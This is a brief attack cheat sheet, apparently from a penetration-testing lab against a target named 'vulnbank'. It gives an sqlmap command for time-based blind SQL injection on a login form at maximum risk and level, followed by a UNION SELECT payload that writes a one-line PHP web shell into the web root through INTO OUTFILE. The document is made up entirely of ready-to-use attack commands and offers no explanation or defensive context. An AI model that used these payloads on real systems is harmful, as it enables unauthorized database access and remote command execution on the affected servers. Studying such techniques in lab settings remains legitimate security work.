SQLMAP TIME BASED

root@kali:~# sqlmap -u 192.168.110.101:8008/unisxcudkqjydw/vulnbank/client/login.php --data "username=test*&password=ing" --threads 10 --random-agent --risk 3 --level 5 --technique T

SHELL UPLOAD VIA SQL INJECTION

' union select '<?php $_GET[0]($_GET[1]); ?>','','','','','' into outfile '/var/www/domain/_uploads/shell.php'-- -